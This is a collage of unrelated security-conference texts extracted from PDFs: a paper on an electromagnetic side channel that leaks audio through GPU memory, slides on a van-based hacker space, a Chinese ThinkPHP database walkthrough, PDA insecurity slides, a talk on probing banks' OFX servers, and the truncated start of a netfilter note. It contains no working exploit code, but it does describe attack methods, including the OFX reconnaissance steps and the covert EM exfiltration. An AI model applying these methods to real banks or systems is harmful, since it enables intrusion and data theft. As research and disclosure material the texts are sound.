example can be seen in Figure 9 where the reception
frequency was set to the GDDR6 clock frequency divided by
half. In this case the signal was received at close range and
processed by the Spock software with good results. But, as
data signals have different properties than the clock signal, the
software requires adaptation to achieve best results.
The potential of emitting a signal whose frequency is
correlated to the data itself should also be explored. Besides
the benefit of expanding the number of transmitted signals and
controlling their frequencies, it may enable the use of data
patterns for frequency-hopping spread spectrum (FHSS)
transmission.
Figure 9: Received signal from the laptop computer at 732MHz
(Transmission clock set to 1465.25). Frequency span between 722
MHz and 742 MHz.
Conclusions
In this paper a new side channel attack is proposed.
Dedicated software encodes audio on the target computer and
then uses controlled graphics card memory transfers to
generate electromagnetic waves. These waves are transmitted
from the target computer. The attacker’s computer receives
the electromagnetic waves using an antenna, an LNA and an
SDR receiver. Dedicated software processes the data and
recovers the audio. Both data transmission and data recovery
techniques were explained and the test results were presented.
Finally, the results were discussed and future directions were
suggested.
6
Acknowledgements
I would like to thank my wife and our children for
supporting my endeavor. I would also like to thank you, the
reader, for your interest in my work.
References
[1] Eck W. “Electromagnetic radiation from video display units: an
eavesdropping risk?” Computers and Security, 4, no. 4: 269-
286, 1985.
[2] Kuhn, M. G., and Anderson, R. J. Soft. “Soft Tempest: Hidden
Data Transmission Using Electromagnetic Emanations.” In
Information Hiding (1998), ed. D. Aucsmith, vol. 1525 of
Lecture Notes in Computer Science, (Springer): 124–142.
[3] Thiele, E., “Tempest for Eliza.” 2001.
http://www.erikyyy.de/tempest/.
[4] Kania B., “VGASIG: FM radio transmitter using VGA graphics
card.” 2009. http://bk.gnarf.org/creativity/vgasig/vgasig.pdf.
[5] Guri M., Kedma G., Kachlon A., Elovici Y. “AirHopper:
Bridging the air-gap between isolated networks and mobile
phones using radio frequencies.” In Malicious and Unwanted
Software: The Americas (MALWARE), 2014 9th International
Conference on IEEE, 2014: 58-67. | pdf |
Mobile Hacker Spaces
Thomas Wilhelm
About the Talk
• Concept behind Hacker Spaces
• (Dis)Advantages of Mobile Hacker
Spaces
• Real-World Example
About the Talker
• Thomas Wilhelm
–Contributing Author:
About the Talker
• Thomas Wilhelm
– Certifications: ISSMP CISSP SCSECA…
– Work:
• Fortune 50 Company
– Penetration Testing & Risk Assessments
• Adjunct Professor
– Education:
• PhD Student (IT - Information Security)
Concept Behind Hacker Spaces
(Sorry if you know this already)
• Definition (hackerfoundation.org):
– Any gathering of Hackers as a community to share
ideas, collaborate on projects or merely enjoy each
other's company could be considered a hacker space.
– 4 Types:
• Local Gatherings
• Conventions
• Hacker Group Living Situations
• Fixed Hacker Research Spaces
My mind – “Oooh! I want one!”
Hacker Spaces
• A Few Hacker Spaces:
– CCC: Chaos Computer Club
• 2k+ members
– C-Base
• 300 members
– NYC Resistors
• 18 members
My Mind – “Larger than what I’m willing to
do”
Cost of a Hacker Space
• Cost:
– C-Base (300 members)
• July – Almost went bankrupt
• Received “20,000 of the needed 30,000 Euros needed in 6
weeks”1
– NYC Resistors (18 members)
• “can get a place near Lemur, looking at around $2,250”2
– Local Rent: 1250 sq.ft. @ $800/mo
My Mind – “Just too expensive”
Hacker Spaces - Ideas
• Garage
–Advantages:
• Free (not really, but at least not extra)
• Power
• Convenient
Hacker Spaces - Ideas
• Garage
–Disadvantages:
• Cold in winter (live in Colorado)
• Availability to users
• …and (yes, you guessed it)…
Hacker Spaces - Ideas
What… a… dump.
My Mind – “ Yeah… I’m not cleaning that.”
Hacker Spaces - Ideas
• Other ideas:
– Room in house
• Too Stressful
– Diners / Restaurants
• No permanency
– Local College
• Scheduling / Sponsorship
Brainstorming
• What did I want:
–Cheap (I’m a student, remember?)
–Isolated from neighbors
–Modular
–Place for classes
–Cool (optional…. VERY optional)
Mobile Hacker Space
• Used Buses
– Minibus Chevy 3500 Diesel 1999 USD $15,900
– Charter bus Chevy P-30 1995 USD $4000
– Minibus GMC Shuttle Bus 2002 USD $22,950
– Minibus International Goshen 1999 USD $23,000
– Minibus Ford E-350 Diamond 1999 USD $14,500
– Charter bus Prevost/LeMirage 1989 USD $ 30,000
– Minibus Ford Krystal KK28 2003 USD $ 39,000
– Charter bus Eagle/Series 15 1989 USD $ 19,000
– Charter bus Jonchere 1984 USD $ 12,000
http://www used buses net
Mobile Hacker Space
• Class B Motor home
– A van-sized camper
Let’s Get These Out of the Way,
Now…
• Answers to FAQs:
–YES, I know the 70s want it back
–NO, there is no shag carpet in it… (now)
–NO, I do NOT live down by the river
–NO, I don’t have candy in there for
little kids
Mobile Hacker Spaces
• Advantages
–Mobile (duh!)
• Park it anywhere
–Park, coffee shop, friends house, Restaurant
• Go to where the hacking opportunities
are
–Wardriving, conventions, gatherings
• Mobile classroom
Mobile Hacker Spaces
• Advantages
–Cost is minimized
• Purchase price + gas + insurance
–Supports large range of people
• Small groups inside (max 8)
• Large groups outside (based on
hardware)
Mobile Hacker Spaces
• Advantages
–Modular
• Equipment can be switched out
• Interior can be changed depending on
project needs
–Storage space for hauling
• Events, long distance travel
Mobile Hacker Spaces
• Disadvantages
– Mobile (duh!)
• Gas is ridiculous
• Insurance costs
• Wear and tear
• Theft
– Limited Space
• Cannot buy more square footage
Mobile Hacker Spaces
• Disadvantages
–Electricity (HUGE limiter)
• Batteries
–Square footage is limited
–Expensive / Expansive
• Plug into the grid
–Limits your mobility
Mobile Hacker Spaces
• Disadvantages
–Subjected to the elements
• Air circulation varies
–Heat of equipment
–Unwashed bodies
• Colorado = Friggin’ Cold
• Las Vegas = Friggin’ Hot
• No fun hacking in the rain
Making a Mobile Hacker Space
Making a Mobile Hacker Space
Making a Mobile Hacker Space
• Different Interior Configurations
–Workspace
• Laptops
–Lecture
• Video Presentations
• Demonstrations
Making a Mobile Hacker Space
• Workspace (2 people)
–Pegboard
–Shelving Unit
–Power Strip
–Switch
–Plenty of wall space
for whatever else
Making a Mobile Hacker Space
• Lab Space
–Overhead “bunk”
–20+ sq. ft
–Needs to be
secured during
travel
Making a Mobile Hacker Space
• Cost Breakout:
– Original Purchase Price: $2,000
– Cost of Interior Components: TBD
(No Computer / Network Gear)
• 5 Panels w/ Shelving: TBD
• Hanger Framework: TBD
• Flooring: TBD
• Total: TBD
Making a Mobile Hacker Space
• Lab (currently) fully loaded:
–4 networks
• 2 Wireless (1 Internet, 1 Intranet)
• 2 Hardwire (1 Internet, 1 Intranet)
–2 Servers
• VMware (if Windows is OS)
Mobile Hacker Space Projects
• Hardware/Software
• Vehicle
• Interior / Special projects
Mobile Hacker Space Projects
• Hardware/Software
–Wireless
• War driving
• Honeypot
–Hardwire
• De-ICE.net Pentest LiveCDs
Mobile Hacker Space Projects
• Vehicle
–Electrical Improvements
• Battery bank under vehicle
• Invertors
• Solar Panels / Wind Generator
Mobile Hacker Space Projects
• Interior / Special projects
–Solar Power
• 24x7 power for lab
–Wired / Wireless sound system
–Internet Security System
–Voice Activation System
Conclusion
• Questions?
• Contact: [email protected]
• Project Site: http://De-ICE.net | pdf |
了解完基本流程后,为了更加了解TP框架,还需要了解下数据的传递。主要涉及的类为Db
Query Connection等
我们借助一句原生查询来了解数据库传递的过程,在index Controller中写入这样一句
Db::query("select * from think_user where status=1");
当我第一次去Db类中看时,没有找到query方法,只找到了一大段注释
这时我们可以下断点来分析
首先我们进入了Db类的__callStatic方法,当一个控制器调用了不存在的方法时,这个魔术
方法就会被调用
里面调用了call_user_func_array方法 可以很明显的看到,第一个参数是一个数组,那么也
就是调用了self::connect()返回对象的method方法 可以看下此时的参数情况 $method为
我们语句中的query方法,args就是我们执行的sql语句了
现在只要弄清楚self::connect() 的返回即可,它会返回一个对象 参数为数据库连接对象实
例
首先看self::$connection的赋值过程,它是一个Connection对象实例
调用了Connection的instance方法 参数其实为config
可以看到,根据事先定义好的type 来决定选用哪个数据库 进行数据连接,默认为Mysql
说明一点,Connector中的类都继承了Connection类
然后看一下这时的调用栈,因为Mysql类继承了Connection类,所以实例化时也会调用
Connection的构造方法
跟进Connection的construct方法,它的参数只有一个config,不过这也够了
这一步就是Connection的初始化
此时我们解决了self::$connection
接下来看$query $query的值为"\think\db\Query" 说明self::connect()方法最后会返回一
个Query类
所以最后call_user_func_array调用的即是Query类的query方法
到此 分析结束
经过这个分析,我们遇到了Db类 Connection类 Query类,在这里说明下这几个类
首先Db类
数据库操作的入口类,这个类很简单,主要就一个connect方法,根据config参数连接数据
库,注意这里的连接并非真正实现连接,只是做好连接前的一些参数准备,只有在实际查询
的时候才会连接数据库,真正的连接在Connection类的connection方法中
find() 等函数会触发实际查询
Db类都是静态方法调用,但看起来这个类啥都没实现,那是怎么操作数据库的呢,其实就
是封装了数据库操作方法的静态调用(利用__callStatic方法)
理论上来说,框架并不依赖Db类,该类的存在只是为了简化数据库抽象层的操作而提供的
一个工厂类,否则你就需要单独实例化不同的数据库连接类。关键还是这里的代码
所有的数据库操作都是经过Db类调用,并且Db类是一个静态类,但Db类自身只有一个公
共方法connect。
注:一下文章参考自 https://www.kancloud.cn/thinkphp/master-database-and-
model/265552
连接器类 Connection
连接类的主要作用就是连接具体的数据库,以及完成基本的数据库底层操作,包括对分布
式、存储过程和事务的完善处理。而更多的数据操作则交由查询类完成而更多的数据操作则
交由查询类完成。
连接器类有如下子类
如果是仅仅使用原生SQL查询的话,只需要使用连接类就可以了(通过调用Db类完成)
连接器类的作用小结:
连接数据库;
获取数据表和字段信息;
基础查询(原生查询);
事务支持;
分布式支持;
查询器类Query
链式查询的主要支持者
除了基础的原生查询可以在连接类完成之外,其它的查询操作都是调用查询类的方法,查询
类内完成了数据访问层最重要的工作,衔接了连接类和生成类,统一了数据库的查询用法,
所以查询类是不需要单独驱动配合的,我们也称之为查询器。无论采用什么数据库,我们的
查询方式是统一的,因为数据访问层核心只有一个唯一的查询类:think\db\Query。
Query类封装了所有的数据库CURD方法的优雅实现,包括链式方法及各种查询,并自动使
用了PDO参数绑定(参数自动绑定是在生成器类解析生成SQL时完成),最大程度地保护
你的程序避免受数据库注入攻击,查询操作会调用生成类生成对应数据库的SQL语句,然后
再调用连接类提供的底层原生查询方法执行最终的数据库查询操作。
所有的数据库查询都使用了PDO的预处理和参数绑定机制。你所看到的大部分数据库方法
都来自于查询类而并非Db类,这一点很关键,也就是说虽然我们始终使用Db类操作数据
库,而实际上大部分方法都是由查询器类提供的方法。
生成器类Builder
生成类的作用是接收Query类的所有查询参数,并负责解析生成对应数据库的原生SQL语
法,然后返回给Query类进行后续的处理(包括交给连接类进行SQL执行和返回结果处
理),也称为(语法)生成器。生成类的作用其实就是解决不同的数据库查询语法之间的差
异。查询类实现了统一的查询接口,而生成类负责数据库底层的查询对接。
生成类一般不需要自己调用,而是由查询类自动调用的。也可以这么理解,生成类和查询类
是一体的,事实上它们合起来就是通常我们所说的查询构造器(因为实际的查询操作还是在
连接器中执行的)。
通常每一个数据库连接类都会对应一个生成类,框架内置的生成类包括:
以上,我们大概了解了TP的数据库操作。
推荐https://github.com/hongriSec/PHP-Audit-Labs/tree/master/Part2/ThinkPHP5
中sql注入相关的文章分析,写的很清楚,可以自己动手调试下,会对TP的数据库处理机制
更加了解 | pdf |
PDA insecurity
Insecurity in a mobile world
Bryan Glancey
Agenda
• PocketPC Overview
– Registry
– Synchronization
– HP 5455 Biometric
issue
• Palm Overview
• General Issues
• Conclusion
PocketPC
• ActiveSync
–USB/Serial
–BlueTooth
–TCP/IP
PocketPC Toolkit
• Registry Editors
– www.pocketpcdn.com/articles/registry.html
• RedBack
– www.atstake.com/research/tools/forensics
• Snort – Airsnort
– Airsnort.shmoo.com
– www.snort.org
PocketPC Registry
• Windows Like Registry Settings
– Edit the registry remotely
– Edit it on the device
– Password Screen Control
• http://support.microsoft.com/default.aspx
?scid=kb;en-us;314989
• Interesting Values
Security Related Values
•
HKEY_LOCAL_MACHINE\Comm
•
HKEY_LOCAL_MACHINE\Drivers
•
HKEY_LOCAL_MACHINE\HARDWARE
•
HKEY_LOCAL_MACHINE\SYSTEM
•
HKEY_LOCAL_MACHINE\Init
•
HKEY_LOCAL_MACHINE\WDMDrivers
•
[HKEY_CLASES_ROOT\.cpl]
(default) = "cplfile"
[HKCR\cplfile\Shell\Open\Command]
(default) = "\Windows\ctlpnl.exe %1"
Where to get more information?
• Microsoft
–How to switch the password
screen
– Q314989 - Let Me In: Pocket PC Password
User Interface Redirect Sample
– http://support.microsoft.com/default.aspx?scid=kb;en-
us;314989
PocketPC attacks
• Activesync cradle
– Data security is unidirectional – you can
put a system password on PocketPC but
not on Laptop
• ActiveSync DOS
– http://www.irmplc.com/advisories The
(ActiveSync) service runs on TCP port
5679 and by connecting to this port and
sending…
• Removable media
Example: HP Ipaq 5455
5455 Weaknesses
• Synchronization Security
– Spontaneous Password Lapses
• http://forums.itrc.hp.com/cm/QuestionAn
swer/1,,0x504cb82b2d63d71190080090
279cd0f9,00.html
• Removable Media Security
– New definition of „Plug & Play‟
Palm
• HotSync Vulnerabilities
– NotSync
– http://www.atstake.com/research/advisories/2000/a092600-
1.txt
• PDD
Palm Toolkit
• PDD
• NotSync
• PDA Seizure
– http://www.paraben-
forensics.com/index.html
• RsrcEdit
– http://www.quartus.net/prod
ucts/rsrcedit/
– File Manager/editor for
PalmOS
Palm
• Palm Memo hiding Vulnerability
– www.securityfocus.com/archive/1/328549
– Any File Manager/Editor can view/edit hidden
memos
PDA Holes - Overview
• Removable Media
• Reset programs
• Synchronization Programs
• No Security Standards
– User picks password
• Dictionary Attacks
– Locking optional
– No Encryption
• Security Varies from manufacturer to manufacturer –
Even within same operating system
PDA Connection Points
• USB/Serial (TCP/IP)
• 802.11
• Bluetooth
General Synch Vulnerabilities
• TCP/IP (Wireless)
– All synchronization traffic is unencrypted
– Easy to sniff the data
• Bluetooth
– Incomplete security
– Redback Software allows you to discover
“undiscoverable” Bluetooth devices
Questions
• Thanks | pdf |
1
Your Bank’s Digital Side Door
@sdanndev
2
“Because that’s where the money is.”
Willie Sutton, Bank Robber
3
Why does my bank website
require my 2-factor token, but
pulling my transactions into
Quicken does not?
4
Personal Financial Management
PFM
5
Personal Financial Management (PFM)
7
8
9
10
11
12
13
Quicken/Quickbooks Connection Types
Web Connect
• Unidirectional
• Manual
• Download a file
• OFX file format
Express Web
Connect
• Unidirectional
• Programmatic
• Screen scrape
• Private web
service
Direct Connect
• Bidirectional
• Programmatic
• Structured query
• OFX protocol
14
Web Connect
Express
Web Connect
Direct Connect
Desktop Application
Middle-Man
Financial Institution
OFX
15
Account Aggregation Service / API
16
Web Application
Middle-Man
Financial Institution
OFX
17
Personal Threat Model
• Assets
• Checking account
• Brokerage account
• Threats
• Credentials are stolen
• Accounts are accessible without credentials
@mrvaughan: https://youtu.be/PIwvxSZj5e8
18
Lack of Least Privilege
• Users have 1 set of bank credentials
• Full read / write access to all accounts at financial institution
• Plain text password is shared with and stored by aggregators
• Tokenized application-based access control (OAuth) is needed
19
Open Financial Exchange (OFX)
aka Direct Connect
20
Banking
• Checking
• Savings
• CDs
• Loans
Investment
• IRA
• 401k
• Holdings
• Equity
Prices
Credit Cards
• Transactions
Transfers
• Bill Pay
• Intrabank
• Interbank
• Wire Funds
OFX Functionality - Financial
21
OFX Functionality - Miscellaneous
• Enrollment
• Setup online access
• Password Reset
• FI Profile
• Like a homepage
• Email
• Messages and Notifications
• Synchronization
• Ensure multiple clients receive
1-time messages.
• Image download
• JPEG, TIFF, PNG, PDF
• Bill Presentment
• For 3rd parties
22
www.ofx.org
POST /cgi/ofx HTTP/1.1
Accept: */*
Content-Type: application/x-ofx
Date: Fri, 16 Jun 2018 21:12:27 GMT
User-Agent: InetClntApp/3.0
Content-Length: 570
Connection: close
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<DTCLIENT>20060321083010
<USERID>12345
<USERPASS>MyPassword
<LANGUAGE>ENG
<FI>
<ORG>ABC
<FID>000111222
</FI>
<APPID>MyApp
</SONRQ>
</SIGNONMSGSRQV1>
... <!--Other message sets-->
</OFX>
HTTP/1.1 200 OK
Date: Fri, 16 Jun 2018 21:12:30 GMT
Content-Type: application/x-ofx
Connection: Keep-Alive
Content-Length: 2399
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRSV1>
<SONRS>
<STATUS>
<CODE>0
<SEVERITY>INFO
<MESSAGE>Success
</STATUS>
<DTSERVER>20060321083445
<LANGUAGE>ENG
<FI>
<ORG>ABC
<FID>000111222
</FI>
</SONRS>
</SIGNONMSGSRSV1>
... <!--All other transaction responses-->
</OFX>
Request
Response
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<DTCLIENT>20060321083010
<USERID>12345
<USERPASS>MyPassword
<LANGUAGE>ENG
<FI>
<ORG>ABC
<FID>000111222
</FI>
<APPID>MyApp
</SONRQ>
</SIGNONMSGSRQV1>
... <!--Other message sets-->
</OFX>
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRSV1>
<SONRS>
<STATUS>
<CODE>0
<SEVERITY>INFO
<MESSAGE>Success
</STATUS>
<DTSERVER>20060321083445
<LANGUAGE>ENG
<FI>
<ORG>ABC
<FID>000111222
</FI>
</SONRS>
</SIGNONMSGSRSV1>
... <!--All other transaction responses-->
</OFX>
Request
Response
25
OFX
26
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRQV1>
... <!--Anonymous sign on-->
</SIGNONMSGSRQV1>
<PROFMSGSRQV1>
<PROFTRNRQ>
<TRNUID>5A59A330-7CEC-1000-A761
<PROFRQ>
<CLIENTROUTING>MSGSET
<DTPROFUP>19900101
</PROFRQ>
</PROFTRNRQ>
</PROFMSGSRQV1>
</OFX>
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
... <!--Anonymous sign on success-->
<BANKMSGSET>
<BANKMSGSETV1>
<MSGSETCORE>
<URL>https://o.bank.org/ofx.asp
<LANGUAGE>ENG
<SPNAME>Corillian Corp
</MSGSETCORE>
<XFERPROF>
<PROCENDTM>235959[0:GMT]
<CANSCHED>Y
<CANRECUR>N
<CANMODXFERS>N
</XFERPROF>
</BANKMSGSETV1>
</BANKMSGSET>
</OFX>
Request
Response
27
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
<SIGNONMSGSRQV1>
... <!--Anonymous sign on-->
</SIGNONMSGSRQV1>
<PROFMSGSRQV1>
<PROFTRNRQ>
<TRNUID>5A59A330-7CEC-1000-A761
<PROFRQ>
<CLIENTROUTING>MSGSET
<DTPROFUP>19900101
</PROFRQ>
</PROFTRNRQ>
</PROFMSGSRQV1>
</OFX>
OFXHEADER:100
DATA:OFXSGML
VERSION:103
SECURITY:NONE
ENCODING:USASCII
<OFX>
... <!--Anonymous sign on success-->
<PROFMSGSRSV1>
<PROFTRNRS>
<PROFRS>
<FINAME>Bank
<ADDR1>123 Muholland Drive
<CITY>Las Vegas
<STATE>NV
<POSTALCODE>89109
<COUNTRY>USA
<CSPHONE>206-439-5700
<URL>http://www.bank.org
<EMAIL>[email protected]
</PROFRS>
</PROFTRNRS>
</PROFMSGSRSV1>
</OFX>
Request
Response
28
OFX Protocol Specification
29
OFX 1.0.x
1.0.2 - 1997
• BASIC authentication
• User:Pass sent plaintext
• Over HTTPS
• Suggests SSN for username
• SGML
1.0.3 - 2006
• Added “MFA”
30
OFX 2.x.x
2.0.3 - 2006
• BASIC authentication
• User:Pass sent plaintext
• Over HTTPS
• Added “MFA”
• XML
• Taxes (1099, W2)
2.2.0 - 2017
• Token-based Authentication
• OAuth
31
Multi-Factor Authentication (MFA)
Know
• Password
• PIN
• Security
Question
Have
• Token
• Hardware
• Software
• PKI Certificate
• Smart Card
Are
• Biometric
• Behavior
32
2-Step Authentication
• Password + out-of-band mechanism
• 6 digit string
• SMS
• Push notification
• Software token
33
OFX “MFA”
Security Question
• <USERCRED1>
• Free form field required by server
• Server defines label
• Ex: “Mother’s maiden name.”
• <MFACHALLENGE>
• Security questions
• Hard coded list
• Ex: “Favorite color.”
35
OFX “MFA”
Static String
• <CLIENTUID>
• Client generated ID
• Checked by Server
• TOFU
• Static
• <AUTHTOKEN>
• Server generated
• Provided to client out-of-band
• Implied static
• Could be used for 2-step auth
36
76%
20%
4%
0%
Frequency of OFX Header: Version
102
103
202
203
37
Financial Institutions
FIs
38
The Big Names
39
The Smaller Names
41
There Are A Lot of Banks!
7,000
OFX FIs
2,000
Public
OFX FIs
400
Public
Server
15,000 FIs
7,000
Commercial
Banks
(USA & Canada)
42
Investigation
43
OFX Survey
• What FI’s are running an OFX server?
• Find them and talk to them.
• What software is providing this service?
• Ask them simple questions.
44
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• Typical URL
• https://ofx.bank.com/ofx/ofxsrvr.dll
• User Community
• ofxhome.org
• wiki.gnucash.org
• Commercial Clients
• Branding Services
• DNS for FIs
• Name to OFX URL translation
45
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• DNS
• Stale A records?
• TLS
• Is server certificate expired?
46
Stale DNS
47
Stale TLS
48
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• HTTP GET /
• HTTP GET /path/ofx
• HTTP POST /path/ofx
• Fingerprint
• Web server
• Web application framework
• OFX server
49
HTTP
GET /
50
HTTP
GET /
51
HTTP
GET
/path/ofx
52
HTTP
GET
/path/ofx
53
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• HTTP POST /path/ofx
• <OFX></OFX>
• Fingerprint
• Framework errors
• OFX errors
54
OFXHEADER:100
DATA:OFXSGML
VERSION:102
SECURITY:NONE
ENCODING:USASCII
<OFX>
</OFX>
Request
Response
Error 500: java.lang.NullPointerException
HTTP POST /path/ofx
55
OFXHEADER:100
DATA:OFXSGML
VERSION:102
SECURITY:NONE
ENCODING:USASCII
<OFX>
</OFX>
Request
Response
OFXHEADER<OFX>
<SIGNONMSGSRSV1>
<SONRS>
<STATUS>
<CODE>2000
<SEVERITY>ERROR
<MESSAGE>FID
not found in file SQL State 02000
</STATUS>
<DTSERVER>20180324234025
<LANGUAGE>
<FI>
<ORG>
</FI>
</SONRS>
</SIGNONMSGSRSV1>
</OFX>
HTTP POST /path/ofx
56
OFXHEADER:100
DATA:OFXSGML
VERSION:102
SECURITY:NONE
ENCODING:USASCII
<OFX>
</OFX>
Request
Response
<b>Stack Trace:</b> <br><br>
<table width=100% bgcolor="#ffffcc">
<tr><td>
<code><pre>
[ArgumentOutOfRangeException: Length cannot be less than zero.
Parameter name: length]
System.String.Substring(Int32 startIndex, Int32 length) +12518387
OFX.OFX.ProcessRequest(HttpContext context) in
C:\Environment\directconnect\OFX\OFX\OFX.ashx.cs:43
System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionSt
ep.Execute() +188
System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&
completedSynchronously) +69
</pre></code>
</td></tr>
</table>
HTTP POST /path/ofx
57
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• POST /path/ofx
• <PROFRQ>
• Fingerprint
• Spacing
• In-house vs service provider
• Info Disclosure
• More verbose errors
• Long lived sessions
• Password policy
58
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<DTCLIENT>20180319054443.123[-7:MST]
<USERID>anonymous00000000000000000000000
<USERPASS>anonymous00000000000000000000000
</SONRQ>
</SIGNONMSGSRQV1>
<PROFMSGSRQV1>
<PROFTRNRQ>
<PROFRQ>
<DTPROFUP>19900101
</PROFRQ>
</PROFTRNRQ>
</PROFMSGSRQV1>
</OFX>
Request
Response
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRSV1> ...
</SIGNONMSGSRSV1>
<PROFMSGSRSV1>
<PROFTRNRS>
<STATUS>
<CODE>2000
<SEVERITY>ERROR
<MESSAGE>Oracle SP Adapter Error:
java.sql.SQLException: ORA-01403: no data found
ORA-06512: at “OFX_PRO.PR_GETMESSAGESETSV1",
line 54
ORA-06512: at line 1
</STATUS>
</PROFTRNRS>
</PROFMSGSRSV1
</OFX>
HTTP POST /path/ofx <PROFRQ>
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<DTCLIENT>20180319054443.123[-7:MST]
<USERID>anonymous00000000000000000000000
<USERPASS>anonymous00000000000000000000000
</SONRQ>
</SIGNONMSGSRQV1>
<PROFMSGSRQV1>
<PROFTRNRQ>
<PROFRQ>
<DTPROFUP>19900101
</PROFRQ>
</PROFTRNRQ>
</PROFMSGSRQV1>
</OFX>
Request
Response
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRSV1>
<SONRS>
<STATUS>
<CODE>0
<SEVERITY>INFO
<MESSAGE>SUCCESS
</STATUS>
<DTSERVER>20180319014447.551[-4:EDT]
<TSKEYEXPIRE>20190319120000.000[-4:EDT]
<DTPROFUP>20081116120000.000[-5:EST]
</SONRS>
</SIGNONMSGSRSV1>
<PROFMSGSRSV1>
...
</PROFMSGSRSV1>
</OFX>
HTTP POST /path/ofx <PROFRQ>
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<DTCLIENT>20180319054443.123[-7:MST]
<USERID>anonymous00000000000000000000000
<USERPASS>anonymous00000000000000000000000
</SONRQ>
</SIGNONMSGSRQV1>
<PROFMSGSRQV1>
<PROFTRNRQ>
<PROFRQ>
<DTPROFUP>19900101
</PROFRQ>
</PROFTRNRQ>
</PROFMSGSRQV1>
</OFX>
Request
Response
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
...
<PROFMSGSRQV1>
<PROFRQ>
<SIGNONINFOLIST>
<SIGNONINFO>
<MIN>4
<MAX>4
<CHARTYPE>ALPHAORNUMERIC
<CASESEN>N
<SPECIAL>N
<SPACES>N
</SIGNONINFO>
</SIGNONINFOLIST>
</PROFRQ>
</PROFMSGSRQV1>>
</OFX>
HTTP POST /path/ofx <PROFRQ>
61
Recon
ENUM HOSTS
TLS PING
WEB SERVER
OFX SERVER
OFX PROFILE
OFX ACCOUNT
• POST /path/ofx
• <ACCTINFORQ>
• Fingerprint
• Error message
62
OFXHEADER:100
DATA:OFXSGML
VERSION:103
<OFX>
<SIGNONMSGSRQV1>
<SONRQ>
<USERID>anonymous00000000000000000000000
<USERPASS>anonymous00000000000000000000000
</SONRQ>
</SIGNONMSGSRQV1>
<SIGNUPMSGSRQV1>
<ACCTINFOTRNRQ>
<ACCTINFORQ>
<DTACCTUP>19900101
</ACCTINFORQ>
</ACCTINFOTRNRQ>
</SIGNUPMSGSRQV1></OFX>
Request
HTTP POST /path/ofx <ACCTINFORQ>
63
Response
HTTP POST /path/ofx <ACCTINFORQ>
<MESSAGE>SUCCESS
<MESSAGE>Signon invalid
<MESSAGE>Unsupported operation for anonymous user
<MESSAGE>Please contact your financial institution to enroll.
<MESSAGE>General error (ERROR) The server encountered an error.
<MESSAGE>Could not process request
<MESSAGE>General Error
<MESSAGE><FI> Missing or Invalid in <SONRQ>
<MESSAGE>Unable to retrieve FI configuration.
<MESSAGE>There was a problem verifying the UserId/Password
<MESSAGE>User id password combination incorrect
<MESSAGE>Account information request could not be completed at this time. Please
contact your financial institution for assistance.
<MESSAGE>Invalid FID sent in Request
<MESSAGE>No Accounts Returned
<MESSAGE>Account Not Found
<MESSAGE>Invalid session
<MESSAGE>UserID/PIN is incorrect.
<MESSAGE>Client up to date
<MESSAGE>Signon VALUES (for example, USER ID or Password) invalid.
64
Financial Software Vendors
https://www.sibanking.com/improved-core-banking-software/
66
Where Do I Buy?
• Not shrink wrapped
• No ‘apt install’
• No app store
69
0
20
40
60
80
100
120
140
160
180
Frequency of HTTP Servers
70
Acquisition and Atrophy
https://www.fisglobal.com/about-us/about-our-company
71
Vulnerabilities
72
650 Page specification
34 Implementations
x
10 Technology Stacks
221,000 Vulnerabilities
73
Found in Production
• Web server disclosure
• Web framework disclosure
• OFX server version disclosure
• Backend DB disclosure
• Full stack trace on errors
• Full server file paths in errors
• Out-of-date software
• Unhandled exceptions
• Long lived session keys
• MFA ignored
• Internal IP disclosure
• Valid user enumeration
• Personal email disclosure
• Unmaintained servers
• Null values returned
• Unregistered URL referenced
• Reflected XSS
• I know it’s not a web page, and
yet…
75
Demo
76
ofx-postern
• Fingerprint OFX Server
• Show capabilities
• Show disclosure vulnerabilities
https://github.com/sdann/ofx-postern
77
Conclusions
https://media-cdn.tripadvisor.com/media/photo-s/01/13/d9/9b/side-door.jpg
79
Neglect
80
Planning for Retirement
• Inventory your assets
• How much money public facing services do you have?
• Pick an age to retire
• How old do you want your TLS certs to be?
• When will you your software stop working?
• Do quarterly check-ins
• Are you saving enough? Is your software up to date?
• Protect your assets
• With insurance MFA
• Invest
• The earlier the better, but it is never too late to start!
81
Thank You!
@sdanndev | www.securityinnovation.com
Questions?
82
Glossary
• FI - Financial Institution
• A bank, brokerage, or credit card provider.
• PFM - Personal Financial Management
• Client software for viewing and managing their financial accounts | pdf |
nat smash
0x00
get
wendell
0x01 nf_conntrack_ftp
nf_conntrack_ftp
ftp
1. ESTABLISHED
